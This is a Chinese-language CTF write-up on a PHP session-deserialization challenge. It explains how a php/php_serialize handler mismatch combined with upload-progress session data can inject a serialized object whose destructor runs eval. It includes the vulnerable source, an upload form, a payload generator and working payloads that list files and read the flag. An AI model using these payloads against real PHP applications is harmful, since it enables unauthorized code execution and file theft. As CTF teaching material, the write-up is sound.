一道反序列化ctf

0x01背景:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

首先将session.serialize_handler设为php
官方文档中对session.serialize_handler和ini_set()的解释是这样的

session.serialize_handler 定义用来序列化/解序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。 自 PHP 5.5.4 起可以使用 php_serialize。 php_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 php 和 php_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| and !) 。 使用 php_serialize 避免脚本退出时,数字及特殊字符索引导致出错。 默认使用 php。

ini_set():设置指定配置选项的值,这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

  • 也就是说PHP内置了多种处理器用于存储$_SESSION数据时对数据进行序列化和反序列化,而session.serialize_handler的作用就是规定使用哪一个处理器。
    根据ini_set()的说明来看, 脚本内部设置的序列化处理器只在脚本运行时才会有作用,运行结束后会自动恢复原始值,也就是php.ini中设置的值。如果脚本中设置的序列化处理器和php.ini中设置的序列化处理器不同,就会出现安全问题。

比如,我们提交php_serialize类型的session数据
$_SESSION['ryat] = '|O:8:"stdClass":O:{}'

  • php_serialize处理器允许字符串变量中出现’|’字符。
    所以SESSION数据存储的时候经过php_serialize处理器解析变为
    a:1:{s:4:”ryat”;”s:20:”|O:8:”stdClass”:O:{}”

  • php序列化处理器规定’|’前出现的为键,之后出现的为值
    所以存储的数据读取时变成了
    array(1) {
    [“a:1:{s:4:”ryat”;”s:20:””]==>object(stdClass)#1 (0){}
    }
    可以看到,我们通过注入|字符伪造了对象的序列化数据,然后成功实例化了stdClass对象


0x02 具体实现:

我们随便提交个数据可获取当前的phpinfo(), 其中session.serialize_handler的值如下图所示,其中本地变量是php,主变量是php_serialize,所以存储session数据时用php序列化处理器,读取时使用php_serialize序列化处理器。
所以这道题的大致思路就是我们提交一个包含|字符的字符串,然后php序列化处理器存储它,并实例化了对象.

  • 同时我们可以发现session.upload_progress.enabled是打开的,当这个选项打开时,php会自动记录上传文件的进度,同时其信息保存在$_SESSION中

所以我们可以在本地构造一个指向目标页面的表单,上传变量.

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="post"  enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

然后抓包修改filename的值来提交$SESSION

  • 接下来我们要读取当前目录的所有文件,从phpinfo()中可以看到,执行系统命令的相关函数被禁止,所以在这里我们使用scandir()函数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    ini_set('session.serialize_handler', 'php_serialize');
    //or session.serialize_handler set to php in php.ini
    session_start();

    class OowoO
    {
    public $mdzz = "print_r(scandir(dirname(__FILE__)));";
    }

    $obj = new OowoO();
    echo serialize($obj);
    ?>

执行得到
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

然后抓包修改filename

得到敏感文件

我们可以在phpinfo()中发现脚本文件的所在目录

然后我们读取敏感文件,将之前的$mdzz修改一下,得到如下的payload

O:5:"OowoO":1:{s:4:"mdzz";s:86:"print(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";}

传到filename中

得到flag